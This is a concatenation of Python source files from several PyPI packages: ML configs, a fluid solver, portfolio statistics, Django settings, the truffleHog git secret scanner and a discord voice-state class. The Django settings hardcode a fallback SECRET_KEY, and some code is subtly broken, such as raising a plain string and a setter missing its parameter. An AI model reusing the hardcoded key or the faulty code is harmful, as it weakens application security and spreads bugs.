device_index=None): ... @abc.abstractmethod def total_memory(self, device_index=None): ... # Data types @abc.abstractmethod def is_bf16_supported(self): ... @abc.abstractmethod def is_fp16_supported(self): ... # Misc @abc.abstractmethod def amp(self): ... @abc.abstractmethod def is_available(self): ... @abc.abstractmethod def range_push(self, msg): ... @abc.abstractmethod def range_pop(self): ... @abc.abstractmethod def lazy_call(self, callback): ... @abc.abstractmethod def communication_backend_name(self): ... # Tensor operations @property @abc.abstractmethod def BFloat16Tensor(self): ... @property @abc.abstractmethod def ByteTensor(self): ... @property @abc.abstractmethod def DoubleTensor(self): ... @property @abc.abstractmethod def FloatTensor(self): ... @property @abc.abstractmethod def HalfTensor(self): ... @property @abc.abstractmethod def IntTensor(self): ... @property @abc.abstractmethod def LongTensor(self): ... @abc.abstractmethod def pin_memory(self, tensor): ... @abc.abstractmethod def on_accelerator(self, tensor): ... @abc.abstractmethod def op_builder_dir(self): ... # create an instance of op builder, specified by class_name @abc.abstractmethod def create_op_builder(self, class_name): ... # return an op builder class, specified by class_name @abc.abstractmethod def get_op_builder(self, class_name): ... @abc.abstractmethod def build_extension(self): ...
PypiClean
/Lokai-0.3.tar.gz/Lokai-0.3/lokai/lk_worker/extensions/data_interface.py
#----------------------------------------------------------------------- import pyutilib.component.core as component #----------------------------------------------------------------------- class IWorkerData(component.Interface): def nd_read_query_extend(self, query_in, **kwargs): """ Extend the query used to find data for a single node. Normally add an entity and a join. """ return query_in def nd_read_data_extend(self, query_result, **kwargs): """ Extend the data object for a single node. Given result list from the query, create a single new entry for this data set. The entry is created in a form that can be used in an update statement to add to the data boject that is passed to code that needs it. The query result is a list of data objects. The objects are in no particular order, so use this data_extend facility to find the object and reference it. The exception to this is that the ndNode object is always first. It all gets interpreted by the other perts of the same extension anyway, so the structure within the new entry is up to you. """ return {} def nd_write_data_extend(self, new_data_object, old_data_object=None): """ Given a data object of the same structure as the extended data object produced by _nd_read_data_extend, write the data back to the database. Normally used for creating new database entries. If the data is a set of associated entries, and update is required, special action will be needed to handle delete of unwanted objects. This can be done by comparing new with old. Return a list of text strings, where each text string is an audit statement that must be stored in the history for this node. The texts are managed and stored by the generic aplication. """ return [] def nd_delete_data_extend(self, data_object): """ Given a data object, extract the node idx and delete all associated data for the node (for this model) Data stored on disc is alo deleted. Return a list of text strings, where each text string is an audit statement that must be stored in the history for the _parent_ node. The texts are managed and stored by the generic aplication. """ return [] def nd_validate_data_extend(self, new_data_object, old_data_object): """ Given a data obect of the same structure as the extended data object produced by _nd_read_data_extend, check the contents for reasonableness. Designed for use in behind the scenes validation - raise errors if problems are found. The old object is provided to support validation that depends on the previous value. """ def nd_search_query_extend(query_in, filter): """ Extend the query used to find data for multiple nodes. Normally add an entity and a join, and then add extra conditions based on filter entries defined in nb_search_form_store. """ return query_in #-----------------------------------------------------------------------
PypiClean
/MLTSA-0.0.7.tar.gz/MLTSA-0.0.7/docs/source/_templates/custom-model-template.rst
{{ fullname | escape | underline}} .. automodule:: {{ fullname }} {% block attributes %} {% if attributes %} .. rubric:: Module Attributes .. autosummary:: :toctree: <-- add this line {% for item in attributes %} {{ item }} {%- endfor %} {% endif %} {% endblock %} {% block functions %} {% if functions %} .. rubric:: {{ _('Functions') }} .. autosummary:: :toctree: <-- add this line {% for item in functions %} {{ item }} {%- endfor %} {% endif %} {% endblock %} {% block classes %} {% if classes %} .. rubric:: {{ _('Classes') }} .. autosummary:: :toctree: <-- add this line :template: custom-class-template.rst <-- add this line {% for item in classes %} {{ item }} {%- endfor %} {% endif %} {% endblock %} {% block exceptions %} {% if exceptions %} .. rubric:: {{ _('Exceptions') }} .. autosummary:: :toctree: <-- add this line {% for item in exceptions %} {{ item }} {%- endfor %} {% endif %} {% endblock %} {% block modules %} {% if modules %} .. rubric:: Modules .. autosummary:: :toctree: :template: custom-module-template.rst <-- add this line :recursive: {% for item in modules %} {{ item }} {%- endfor %} {% endif %} {% endblock %}
PypiClean
/DI_engine-0.4.9-py3-none-any.whl/dizoo/mujoco/config/walker2d_gail_ddpg_config.py
from easydict import EasyDict walker2d_gail_ddpg_config = dict( exp_name='walker2d_gail_ddpg_seed0', env=dict( env_id='Walker2d-v3', norm_obs=dict(use_norm=False, ), norm_reward=dict(use_norm=False, ), collector_env_num=1, evaluator_env_num=8, n_evaluator_episode=8, stop_value=6000, ), reward_model=dict( input_size=23, hidden_size=256, batch_size=64, learning_rate=1e-3, update_per_collect=100, # Users should add their own model path here. Model path should lead to a model. # Absolute path is recommended. # In DI-engine, it is ``exp_name/ckpt/ckpt_best.pth.tar``. expert_model_path='model_path_placeholder', # Path where to store the reward model reward_model_path='data_path_placeholder+/reward_model/ckpt/ckpt_best.pth.tar', # Users should add their own data path here. Data path should lead to a file to store data or load the stored data. # Absolute path is recommended. # In DI-engine, it is usually located in ``exp_name`` directory data_path='data_path_placeholder', collect_count=100000, ), policy=dict( # state_dict of the policy. # Users should add their own model path here. Model path should lead to a model. # Absolute path is recommended. # In DI-engine, it is ``exp_name/ckpt/ckpt_best.pth.tar``. load_path='walker2d_ddpg_gail/ckpt/ckpt_best.pth.tar', cuda=True, on_policy=False, random_collect_size=25000, model=dict( obs_shape=17, action_shape=6, twin_critic=False, actor_head_hidden_size=256, critic_head_hidden_size=256, action_space='regression', ), learn=dict( update_per_collect=1, batch_size=256, learning_rate_actor=1e-3, learning_rate_critic=1e-3, ignore_done=False, target_theta=0.005, discount_factor=0.99, actor_update_freq=1, noise=False, ), collect=dict( n_sample=64, unroll_len=1, noise_sigma=0.1, ), other=dict(replay_buffer=dict(replay_buffer_size=1000000, ), ), ) ) walker2d_gail_ddpg_config = EasyDict(walker2d_gail_ddpg_config) main_config = walker2d_gail_ddpg_config walker2d_gail_ddpg_create_config = dict( env=dict( type='mujoco', import_names=['dizoo.mujoco.envs.mujoco_env'], ), env_manager=dict(type='subprocess'), policy=dict( type='ddpg', import_names=['ding.policy.ddpg'], ), replay_buffer=dict(type='naive', ), ) walker2d_gail_ddpg_create_config = EasyDict(walker2d_gail_ddpg_create_config) create_config = walker2d_gail_ddpg_create_config if __name__ == "__main__": # or you can enter `ding -m serial_gail -c walker2d_gail_ddpg_config.py -s 0` # then input the config you used to generate your expert model in the path mentioned above # e.g. walker2d_ddpg_config.py from ding.entry import serial_pipeline_gail from dizoo.mujoco.config.walker2d_ddpg_config import walker2d_ddpg_config, walker2d_ddpg_create_config expert_main_config = walker2d_ddpg_config expert_create_config = walker2d_ddpg_create_config serial_pipeline_gail( [main_config, create_config], [expert_main_config, expert_create_config], max_env_step=1000000, seed=0, collect_data=True )
PypiClean
/Mytrialort-0.0.99.tar.gz/Mytrialort-0.0.99/django_teams/settings.py
import os BASE_DIR = os.path.dirname(os.path.dirname(__file__)) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.7/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! # Set later if not in production, else must be defined in local_settings.py SECRET_KEY = '' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'django_teams', 'bootstrap3', ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ) ROOT_URLCONF = 'django_teams.urls' WSGI_APPLICATION = 'django_teams.wsgi.application' # Database # https://docs.djangoproject.com/en/1.7/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Internationalization # https://docs.djangoproject.com/en/1.7/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.7/howto/static-files/ STATIC_URL = '/static/' STATIC_ROOT = os.path.join(BASE_DIR, 'collected_static/') MEDIA_URL = '/media/' MEDIA_ROOT = os.path.join(BASE_DIR, 'media/') STATICFILES_DIRS = ( os.path.join(BASE_DIR, 'static/'), ) TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')], 'APP_DIRS': True, 'OPTIONS': { 'debug': DEBUG, 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] # Import local settings try: from local_settings import * # noqa: F401,F403 except: pass if DEBUG and SECRET_KEY == '': SECRET_KEY = '452+twxj-9iy=mhnx%ch&)(*%_^3@x0v%_^bao$m_&=!4iv_#k' elif DEBUG is False and SECRET_KEY == '': raise "You need to define a secret key!"
PypiClean
/KratosSwimmingDEMApplication-9.2.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl/KratosMultiphysics/SwimmingDEMApplication/fluid_DEM_coupling_solver.py
from __future__ import print_function, absolute_import, division # makes KratosMultiphysics backward compatible with python 2.6 and 2.7 # Importing the Kratos Library import KratosMultiphysics # Import applications import KratosMultiphysics.SwimmingDEMApplication as KratosSDEM import KratosMultiphysics.FluidDynamicsApplication as KratosCFD from KratosMultiphysics.FluidDynamicsApplication.fluid_solver import FluidSolver def CreateSolver(model, custom_settings): return FluidDEMSolver(model, custom_settings) class FluidDEMSolver(FluidSolver): ## FluidDEMSolver specific methods. def _TimeBufferIsInitialized(self): # We always have one extra old step if we are not using a manufactured solution (step 0, read from input) if self.main_model_part.ProcessInfo[KratosSDEM.MANUFACTURED]: return self.main_model_part.ProcessInfo[KratosMultiphysics.STEP] + 2 >= self.GetMinimumBufferSize() else: return self.main_model_part.ProcessInfo[KratosMultiphysics.STEP] + 1 >= self.GetMinimumBufferSize() def _CreateScheme(self): domain_size = self.GetComputingModelPart().ProcessInfo[KratosMultiphysics.DOMAIN_SIZE] # Cases in which the element manages the time integration if self.element_integrates_in_time: # "Fake" scheme for those cases in where the element manages the time integration # It is required to perform the nodal update once the current time step is solved scheme = KratosMultiphysics.ResidualBasedIncrementalUpdateStaticSchemeSlip( domain_size, domain_size + 1) # In case the BDF2 scheme is used inside the element, the BDF time discretization utility is required to update the BDF coefficients if (self.settings["time_scheme"].GetString() == "bdf2"): time_order = 2 self.time_discretization = KratosMultiphysics.TimeDiscretization.BDF(time_order) else: err_msg = "Requested elemental time scheme \"" + self.settings["time_scheme"].GetString()+ "\" is not available.\n" err_msg += "Available options are: \"bdf2\"" raise Exception(err_msg) # Cases in which a time scheme manages the time integration else: # Bossak time integration scheme if self.settings["time_scheme"].GetString() == "bossak": if self.settings["consider_periodic_conditions"].GetBool() == True: scheme = KratosSDEM.ResidualBasedPredictorCorrectorVelocityBossakSchemeTurbulentDEMCoupled( self.settings["alpha"].GetDouble(), domain_size, KratosSDEM.PATCH_INDEX) else: scheme = KratosSDEM.ResidualBasedPredictorCorrectorVelocityBossakSchemeTurbulentDEMCoupled( self.settings["alpha"].GetDouble(), self.settings["move_mesh_strategy"].GetInt(), domain_size) # BDF2 time integration scheme elif self.settings["time_scheme"].GetString() == "bdf2": scheme = KratosSDEM.BDF2TurbulentSchemeDEMCoupled() # Time scheme for steady state fluid solver elif self.settings["time_scheme"].GetString() == "steady": scheme = KratosCFD.ResidualBasedSimpleSteadyScheme( self.settings["velocity_relaxation"].GetDouble(), self.settings["pressure_relaxation"].GetDouble(), domain_size) else: err_msg = "Requested time scheme " + self.settings["time_scheme"].GetString() + " is not available.\n" err_msg += "Available options are: \"bossak\", \"bdf2\" and \"steady\"" raise Exception(err_msg) return scheme def _CreateNewtonRaphsonStrategy(self): computing_model_part = self.GetComputingModelPart() time_scheme = self._GetScheme() convergence_criterion = self._GetConvergenceCriterion() builder_and_solver = self._GetBuilderAndSolver() return KratosSDEM.RelaxedResidualBasedNewtonRaphsonStrategy( computing_model_part, time_scheme, convergence_criterion, builder_and_solver, self.settings["maximum_iterations"].GetInt(), self.settings["compute_reactions"].GetBool(), self.settings["reform_dofs_at_each_step"].GetBool(), self.settings["move_mesh_flag"].GetBool())
PypiClean
/JacksonQuery-0.0.1-py3-none-any.whl/portfolio_optimization/performance.py
import warnings import ffn import pandas as pd import numpy as np import statsmodels.api as sm import matplotlib.pyplot as plt import matplotlib.dates as mdates import matplotlib.cm as cm from patsy import dmatrices def performance_stats( backtest_timeseries, risk_free_rate=0.02, freq=252): """ Computes the cumulative performance statistics based on data from the backtest_timeseries. :param backtest_timeseries: (pd.DataFrame) Timeseries performance of efficient frontier portfolios. :param risk_free_rate: (float) Optional, annualized risk-free rate, defaults to 0.02. :param freq: (str) Data frequency used for display purposes. Refer to pandas docs for valid freq strings. :return: (pd.DataFrame) DataFrame of cumulative performance statistics for all efficient frontier portfolios. """ warnings.filterwarnings("ignore", category=RuntimeWarning) benchmark_ticker = backtest_timeseries.columns[-1] perf = ffn.core.GroupStats(backtest_timeseries) perf.set_riskfree_rate(float(risk_free_rate)) portfolios = backtest_timeseries.columns start_date = backtest_timeseries.index[0].strftime('%m-%d-%Y') end_date = backtest_timeseries.index[-1].strftime('%m-%d-%Y') cagr = None vol = None capm_b = None beta_b = None jensen_alpha_b = None sharpe_b = None treynor_b = None sortino_b = None drawdown_b = None ulcer_b = None m2_b = None m2_alpha_b = None capture_ratio_b = None cagrs = {} vols = {} capms = {} betas = {} jensen_alphas = {} appraisal_ratios = {} sharpes = {} treynors = {} information_ratios = {} sortinos = {} capture_ratios = {} drawdowns = {} ulcers = {} m2s = {} m2_alphas = {} for portfolio in portfolios[:-1]: p = backtest_timeseries.copy()[[portfolio, benchmark_ticker]] r = p.pct_change().dropna() p.name, r.name = portfolio, benchmark_ticker # return cagr = (1 + r).prod() ** (freq / (freq if r.shape[0] < freq else r.shape[0])) - 1 # risk vol = r.std() * (freq if r.shape[0] > freq else r.shape[0]) ** 0.5 # client regression model y, x = r[portfolio], r[benchmark_ticker] yx = pd.concat([y, x], axis=1) y, X = dmatrices( 'y ~ x', data=yx, return_type='dataframe' ) mod = sm.OLS(y, X) res = mod.fit() # benchmark regression model y_b, x_b = r[benchmark_ticker], r[benchmark_ticker] yx_b = pd.concat([y_b, x_b], axis=1) y_b, X_b = dmatrices( 'y_b ~ x_b', data=yx_b, return_type='dataframe' ) mod_b = sm.OLS(y_b, X_b) res_b = mod_b.fit() # capm capm = risk_free_rate + res.params.values[1] * (cagr[benchmark_ticker] - risk_free_rate) beta = res.params.values[1] capm_b = risk_free_rate + res_b.params.values[1] * (cagr[benchmark_ticker] - risk_free_rate) beta_b = res_b.params.values[1] # jensen's alpha non_systematic_risk = ( vol[portfolio] ** 2 - res.params.values[1] ** 2 * vol[benchmark_ticker] ** 2 ) non_systematic_risk_b = ( vol[benchmark_ticker] ** 2 - res_b.params.values[1] ** 2 * vol[benchmark_ticker] ** 2 ) jensen_alpha = float(cagr[portfolio] - capm) jensen_alpha_b = float(cagr[benchmark_ticker] - capm_b) # appraisal ratio appraisal_ratio = jensen_alpha / (non_systematic_risk ** 0.5) appraisal_ratio_b = jensen_alpha_b / (non_systematic_risk_b ** 0.5) # sharpe ratio sharpe = (cagr[portfolio] - risk_free_rate) / vol[portfolio] sharpe_b = (cagr[benchmark_ticker] - risk_free_rate) / vol[benchmark_ticker] # treynor ratio treynor = cagr[portfolio] / beta treynor_b = cagr[benchmark_ticker] / 1. # information ratio yx1 = yx.copy() yx1['Active_Return'] = yx1[portfolio] - yx1[benchmark_ticker] information_ratio = yx1['Active_Return'].mean() / yx1['Active_Return'].std() # sortino ratio downside_returns = (yx1[yx1[portfolio] < 0])[portfolio].values downside_deviation = downside_returns.std() * (freq if r.shape[0] > freq else r.shape[0]) ** 0.5 sortino = cagr[portfolio] / downside_deviation downside_returns_b = (yx1[yx1[benchmark_ticker] < 0])[[benchmark_ticker]].values downside_deviation_b = downside_returns_b.std() * (freq if r.shape[0] > freq else r.shape[0]) ** 0.5 sortino_b = cagr[benchmark_ticker] / downside_deviation_b # capture ratio up_returns = yx[yx[portfolio] >= 0].round(4) try: up_geo_avg = (1 + up_returns[portfolio]).prod() ** (1 / len(up_returns.index)) - 1 up_geo_avg_b = (1 + up_returns[benchmark_ticker]).prod() ** (1 / len(up_returns.index)) - 1 down_returns = yx[yx[portfolio] < 0].round(4) down_geo_avg = (1 + down_returns[portfolio]).prod() ** (1 / len(down_returns.index)) - 1 down_geo_avg_b = (1 + down_returns[benchmark_ticker]).prod() ** (1 / len(down_returns.index)) - 1 up_capture = up_geo_avg / up_geo_avg_b down_capture = down_geo_avg / down_geo_avg_b capture_ratio = up_capture / down_capture capture_ratio_b = 1. except ZeroDivisionError: capture_ratio = np.nan capture_ratio_b = 1. # drawdown lowest_return = yx[portfolio].min() drawdown = p.copy()[[portfolio]] drawdown = drawdown.fillna(method='ffill') drawdown[np.isnan(drawdown)] = -np.Inf roll_max = np.maximum.accumulate(drawdown) drawdown = drawdown / roll_max - 1. drawdown = drawdown.round(4) drawdown = drawdown.iloc[-1:, :].squeeze() lowest_return_b = yx[benchmark_ticker].min() drawdown_b = p.copy()[[benchmark_ticker]] drawdown_b = drawdown_b.fillna(method='ffill') drawdown_b[np.isnan(drawdown_b)] = -np.Inf roll_max_b = np.maximum.accumulate(drawdown_b) drawdown_b = drawdown_b / roll_max_b - 1. drawdown_b = drawdown_b.round(4) drawdown_b = drawdown_b.iloc[-1:, :].squeeze() # ulcer performance index ulcer = \ ffn.core.to_ulcer_performance_index( p[[portfolio]], risk_free_rate, nperiods=freq).to_frame('ulcer_index').values[0].squeeze() ulcer_b = ffn.core.to_ulcer_performance_index( p[[benchmark_ticker]], risk_free_rate, nperiods=freq).to_frame('ulcer_index').values[0].squeeze() # M^2 alpha m2 = float(sharpe * vol[benchmark_ticker] + risk_free_rate) m2_b = float(sharpe_b * vol[benchmark_ticker] + risk_free_rate) m2_alpha = m2 - cagr[benchmark_ticker] m2_alpha_b = m2_b - cagr[benchmark_ticker] # record results cagrs[portfolio] = cagr[portfolio] vols[portfolio] = vol[portfolio] capms[portfolio] = capm betas[portfolio] = beta jensen_alphas[portfolio] = jensen_alpha appraisal_ratios[portfolio] = appraisal_ratio sharpes[portfolio] = sharpe treynors[portfolio] = treynor information_ratios[portfolio] = information_ratio sortinos[portfolio] = sortino capture_ratios[portfolio] = capture_ratio drawdowns[portfolio] = drawdown ulcers[portfolio] = ulcer.round(4) m2s[portfolio] = m2 m2_alphas[portfolio] = m2_alpha cagrs[benchmark_ticker] = cagr[benchmark_ticker] vols[benchmark_ticker] = vol[benchmark_ticker] capms[benchmark_ticker] = capm_b betas[benchmark_ticker] = beta_b jensen_alphas[benchmark_ticker] = jensen_alpha_b appraisal_ratios[benchmark_ticker] = 0 sharpes[benchmark_ticker] = sharpe_b treynors[benchmark_ticker] = treynor_b information_ratios[benchmark_ticker] = 0 sortinos[benchmark_ticker] = sortino_b capture_ratios[benchmark_ticker] = capture_ratio_b drawdowns[benchmark_ticker] = drawdown_b ulcers[benchmark_ticker] = ulcer_b.round(4) m2s[benchmark_ticker] = m2_b m2_alphas[benchmark_ticker] = m2_alpha_b cols = [ 'vol', 'beta', 'cagr', 'drawdown', 'capm', 'jensen_alpha', 'm2', 'm2_alpha', 'sharpe', 'treynor', 'sortino', 'info_ratio', 'capture_ratio', 'appraisal_ratio', 'ulcer', ] dicts = [ vols, betas, cagrs, drawdowns, capms, jensen_alphas, m2s, m2_alphas, sharpes, treynors, sortinos, information_ratios, capture_ratios, appraisal_ratios, ulcers, ] performance_data = pd.DataFrame(index=list(cagrs.keys()), columns=cols).reset_index() for col, d in zip(cols, dicts): performance_data[col] = performance_data['index'].map(d) performance_data = performance_data.set_index('index') performance_data.index.name = start_date + ' - ' + end_date return performance_data.round(4) def plot_portfolios(backtest_timeseries): """ Plot the backtest timeseries :param backtest_timeseries: pd.DataFrame :return: None """ # Converting the index to datetime backtest_timeseries.index = pd.to_datetime(backtest_timeseries.index) # Create a colormap cmap = cm.jet # use the colormap directly plt.figure(figsize=(12, 6)) special_cols = ['Portfolio_Benchmark', 'Portfolio_Current', 'Portfolio_JNL_Mellon_S&P_500_Index'] special_colors = ['darkred', 'black', 'purple'] special_dict = dict(zip(special_cols, special_colors)) for i, column in enumerate(backtest_timeseries.columns): if column in special_cols: color = special_dict[column] else: color = cmap(i / len(backtest_timeseries.columns)) plt.plot( backtest_timeseries.index, backtest_timeseries[column], label=column, color=color ) # Formatting the x-axis ax = plt.gca() ax.xaxis.set_major_locator(mdates.YearLocator()) ax.xaxis.set_major_formatter(mdates.DateFormatter('%Y')) plt.xlabel('Time') plt.ylabel('Value') plt.title('Portfolios over time') plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left') plt.grid(True) plt.show()
PypiClean
/MechTruffleHog-1.1.0.tar.gz/MechTruffleHog-1.1.0/truffleHog/truffleHog.py
import sys from math import log import datetime import argparse import hashlib import tempfile import os import json import re import stat from git import Repo from git import NULL_TREE from truffleHog.whitelist import WhitelistEntry, WhitelistStatistics, ScanResults, Remediation, MetricCalculation from termcolor import colored import colorama colorama.init() BASE64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" HEX_CHARS = "1234567890abcdefABCDEF" def _get_regexes(): with open(os.path.join(os.path.dirname(__file__), "regexes.json"), "r") as f: regexes = json.loads(f.read()) for key in regexes: regexes[key] = re.compile(regexes[key]) return regexes def _exclusion_filter(path): excluded_files = ["whitelist.json", "package-lock.json"] for file_seg in excluded_files: if file_seg in path: return True return False def _get_repo(repo_path): try: try: repo = Repo(repo_path) except: repo = Repo(_clone_git_repo(repo_path)) except Exception as e: print( colored( f"Unable to find a git repository. Are you sure {os.getcwd()} is a valid git repository?", "red", ), file=sys.stderr, ) sys.exit(1) try: repo.iter_commits() return repo except ValueError as e: print( colored( f"Can't operate on this repository. Is {os.getcwd()} a non-empty git repository?", "red", ), file=sys.stderr, ) sys.exit(1) def _clone_git_repo(git_url): project_path = tempfile.mkdtemp() Repo.clone_from(git_url, project_path) return project_path def shannon_entropy(data, iterator): """ Borrowed from http://blog.dkbza.org/2007/05/scanning-data-for-entropy-anomalies.html """ if not data: return 0 entropy = 0 for x in iterator: p_x = float(data.count(x)) / len(data) if p_x > 0: entropy += -p_x * log(p_x, 2) return entropy def get_strings_of_set(word, char_set, threshold=20): count = 0 letters = "" strings = set() for char in word: if char in char_set: letters += char count += 1 else: if count > threshold: strings.add(letters) letters = "" count = 0 if count > threshold: strings.add(letters) return strings def entropicDiff(printableDiff, commit_time, prev_commit, path, commitHash): entropicFindings = set() stringsFound = set() lines = printableDiff.split("\n") for line in lines: for word in line.split(): base64_strings = get_strings_of_set(word, BASE64_CHARS) hex_strings = get_strings_of_set(word, HEX_CHARS) for string in base64_strings: b64Entropy = shannon_entropy(string, BASE64_CHARS) if b64Entropy > 4.5: stringsFound.add(string) for string in hex_strings: hexEntropy = shannon_entropy(string, HEX_CHARS) if hexEntropy > 3: stringsFound.add(string) for string in stringsFound: entropicFindings.add( WhitelistEntry( commit=prev_commit.message.replace("\n", ""), commitAuthor=prev_commit.author.email, commitHash=prev_commit.hexsha, date=commit_time, path=path, reason="High Entropy", stringDetected=string, ) ) return entropicFindings def regex_check(printableDiff, commit_time, prev_commit, path, commitHash): regex_matches = set() regexes = _get_regexes() for key in regexes: found_strings = regexes[key].findall(printableDiff, re.MULTILINE) for string in found_strings: regex_matches.add( WhitelistEntry( commit=prev_commit.message.replace("\n", ""), commitAuthor=prev_commit.author.email, commitHash=prev_commit.hexsha, date=commit_time, path=path, reason=key, stringDetected=string, ) ) return regex_matches def diff_worker(diff, curr_commit, prev_commit, commitHash): issues = set() for blob in diff: path = blob.b_path if blob.b_path else blob.a_path if _exclusion_filter(path): continue printableDiff = blob.diff.decode("utf-8", errors="replace") if printableDiff.startswith("Binary files"): continue commit_time = datetime.datetime.fromtimestamp( prev_commit.committed_date ).strftime("%Y-%m-%d %H:%M:%S") entropic_results = entropicDiff( printableDiff, commit_time, curr_commit, path, commitHash ) found_regexes = regex_check( printableDiff, commit_time, curr_commit, path, commitHash ) issues = issues.union(found_regexes) issues = issues.union(entropic_results) return issues def scan_commit(commit, repo): curr_commit = repo.commit(commit) try: prev_commit = curr_commit.parents[0] except: prev_commit = curr_commit commitHash = curr_commit.hexsha diff = prev_commit.diff(curr_commit, create_patch=True) diff = [blob for blob in diff.iter_change_type("M")] + [ blob for blob in diff.iter_change_type("A") ] commit_results = diff_worker(diff, curr_commit, prev_commit, commitHash) return commit_results def find_strings(repo_path, commit=None): output = set() repo = _get_repo(repo_path) commits = repo.iter_commits() if commit: try: repo.commit(commit) except: print(colored(f"Could not find {commit}", color="red"), file=sys.stderr), sys.exit(0) commits = [commit] for commit in commits: commit_diff = scan_commit(commit, repo) output = output.union(commit_diff) return output def console_mode(args): scan = ScanResults() failure_message = None repo = _get_repo(repo_path=args.repo_path) scan.possible_secrets = find_strings(repo_path=args.repo_path, commit=args.commit) print( colored(f"Working with project path {repo.git_dir}", "green"), file=sys.stderr ) scan.reconcile_secrets() wls = WhitelistStatistics(scan.reconciled_results, args.pipeline_mode) print(colored(wls, "green")) scan.write_whitelist_to_disk(scan.reconciled_results) return wls def pipeline_mode(args): scan = ScanResults() repo = _get_repo(repo_path=args.repo_path) scan.possible_secrets = find_strings(repo_path=args.repo_path, commit=args.commit) wls = WhitelistStatistics(scan.possible_secrets, pipeline_mode=True) if args.commit: results = json.dumps(wls.to_dict_per_commit(repo, args.commit)) else: results = json.dumps(wls.to_dict()) print(results) return wls def exit_code(output, pipeline_mode=False): if pipeline_mode: sys.exit(0) if output: print( colored( f"Secrets detected: {len(output)}. Please review the output in whitelist.json and either acknowledge the secrets or remediate them", "red", ) ) sys.exit(1) else: print( colored( "Detected no secrets! Clear to commit whitelist.json and push to remote repository", "green", ) ) sys.exit(0) def main(*args, **kwargs): parser = argparse.ArgumentParser( description="Find secrets hidden in the depths of git." ) parser.add_argument( "--repo_path", type=str, default=".", help="File path to git project " ) parser.add_argument("--commit", type=str, help="Commit SHA of git commit to scan") parser.add_argument("--metrics", help="calculates a metric for the given commit", action="store_true") parser.add_argument( "--remediate", help="Interactive mode for reconciling secrets", action="store_true", ) parser.add_argument( "--pipeline_mode", help="Flags that secrets should not be output and that results are directed to stderr.", action="store_true", ) args = parser.parse_args() if args.metrics and args.commit: try: repo = _get_repo(args.repo_path) except Exception as e: print(e) try: MetricCalculation.dump_json(args.commit, repo) except Exception as e: print(e) sys.exit(0) if args.remediate: Remediation.remediate_secrets() sys.exit(0) if args.pipeline_mode: wls = pipeline_mode(args) exit_code(wls.whitelist_object, pipeline_mode=True) if not args.pipeline_mode: wls = console_mode(args) exit_code(wls.whitelist_object) if __name__ == "__main__": main()
PypiClean
/FightMan01dc.pymod-2.0.4.tar.gz/FightMan01dc.pymod-2.0.4/discord/speakingstate.py
class SpeakingState: """Wraps up the Discord speaking state value. This object is similar to a :class:`Permissions` object with reduced functionality. You can set and retrieve individual bits using the properties as if they were regular bools. Only a subset of the operators :class:`Permissions` implements are available. .. container:: operations .. describe:: x == y Checks if two speaking states are equal. .. describe:: x != y Checks if two speaking states are not equal. .. describe:: hash(x) Returns the speaking state's hash. .. describe:: int(x) Returns the raw integer value of the speaking state. Attributes ----------- value The raw value. This value is a bit array field of a 3 bit integer representing the current speaking state. You should query the state via the properties rather than using this raw value. """ __slots__ = ('value',) def __init__(self, state): if not isinstance(state, int): raise TypeError('Expected int parameter, received %s instead.' % state.__class__.__name__) self.value = state def __eq__(self, other): return isinstance(other, SpeakingState) and self.value == other.value def __ne__(self, other): return not self.__eq__(other) def __hash__(self): return hash(self.value) def __int__(self): return self.value def __repr__(self): return '<SpeakingState value=%s>' % self.value @classmethod def inactive(cls): """A factory method that creates a :class:`SpeakingState` that indicates the user is not speaking.""" return cls(0b000) @classmethod def active(cls, *, priority=False): """A factory method that creates a :class:`SpeakingState` that indicates the user is speaking. Parameters ----------- priority: blah """ return cls(0b101 if priority else 0b001) def _bit(self, index): return bool((self.value >> index) & 1) def _set(self, index, value): if value is True: self.value |= (1 << index) elif value is False: self.value &= ~(1 << index) else: raise TypeError('Value to set for SpeakingState must be a bool.') @property def speaking(self): """Returns True if the user is speaking.""" return self._bit(0) @speaking.setter def speaking(self, value): self._set(0, value) @property def soundshare(self): """Returns True is the user is using shoundshare.""" # TODO: nitpick wording return self._bit(1) @soundshare.setter def soundshare(self, value): self._set(1, value) @property def priority(self): """Returns True if the user has priority voice mode enabled.""" return self._bit(2) @priority.setter def priority(self): self._set(2, value)
PypiClean
/KENN2-0.3.tar.gz/KENN2-0.3/README.md
